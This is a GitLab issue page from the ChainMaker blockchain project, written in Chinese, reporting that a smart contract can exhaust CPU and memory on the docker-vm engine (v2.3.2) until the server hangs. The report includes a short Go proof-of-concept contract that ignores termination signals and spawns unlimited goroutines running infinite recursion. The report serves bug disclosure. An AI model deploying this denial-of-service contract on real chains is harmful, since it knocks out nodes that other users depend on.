Skip to content

GitLab

  • Projects
  • Groups
  • Snippets
  • Help
    • Loading...
  • Sign in
issue
issue
  • Project overview
    • Project overview
    • Details
    • Activity
    • Releases
  • Repository
    • Repository
    • Files
    • Commits
    • Branches
    • Tags
    • Contributors
    • Graph
    • Compare
  • Issues 23
    • Issues 23
    • List
    • Boards
    • Labels
    • Service Desk
    • Milestones
  • Wiki
    • Wiki
  • Snippets
    • Snippets
  • Members
    • Members
  • Activity
  • Graph
  • Create a new issue
  • Commits
  • Issue Boards
Collapse sidebar

新注册的用户请输入邮箱并保存,随后登录邮箱激活账号。后续可直接使用邮箱登录!

  • chainmaker
  • issueissue
  • Issues
  • #1185

Closed
Open
Opened Sep 12, 2024 by dengji wang@rookie3 of 19 tasks completed3/19 tasks

机器cpu、内存被占满,服务器无法响应请求

【问题分类】

  • bug
  • P2P网络相关(包含libp2p,liquid)
  • 链账户身份与权限相关(证书问题、public、多签投票问题)
  • 核心交易引擎相关(交易池、DAG)
  • 共识相关
  • 智能合约相关
  • 存储相关
  • SDK相关
  • 长安链CMC工具
  • 长安链管理台
  • 长安链浏览器
  • 长安链合约IDE
  • 长安链web签名插件
  • 跨链相关
  • 轻节点相关
  • 隐私计算相关
  • 密码学相关
  • 环境依赖
  • 其他补充:Chainmaker版本v2.3.2,启动单机四节点使用docker vm引擎的链

【问题描述】

机器cpu、内存被占满,docker-vm所在服务器无法响应请求(服务器远程连接断开),直到服务器操作系统OOM强制杀死因处理InfinityLoop()方法拉起的进程 在智能合约中,无限制创造线程,每个线程中都进行无限递归,并且主函数忽略kill信号

func (f *InfinityContract) InfinityRecursion() protogo.Response {

    // 直接忽略SIGINT、SIGTERM信号
	signal.Ignore(syscall.SIGTERM, syscall.SIGINT)

    // 极端恶意操作,无限制创造线程,且在每个线程中都进行无限递归
	for {
		go func() {
			recursion(0)
		}()
	}

	return sdk.Success([]byte(fmt.Sprintf("we finish infinity loop!")))
}

func recursion(n int) {
	n++
	recursion(n)
}

【相关日志文件】

image image image image

【系统信息】(请填写系统信息,方便定位问题)

  • chainmaker-go version * : [v2.3.2]
  • OS & version * : [CentOs 7]
  • docker镜像 version: [chainmakerofficial/chainmaker-vm-engine:v2.3.2]
To upload designs, you'll need to enable LFS and have an admin enable hashed storage. More information
Assignee
Assign to
None
Milestone
None
Assign milestone
Time tracking
None
Due date
None
Reference: chainmaker/issue#1185

Copyright © 2021 ChainMaker Org. All Rights Reserved. 长安链 版权所有。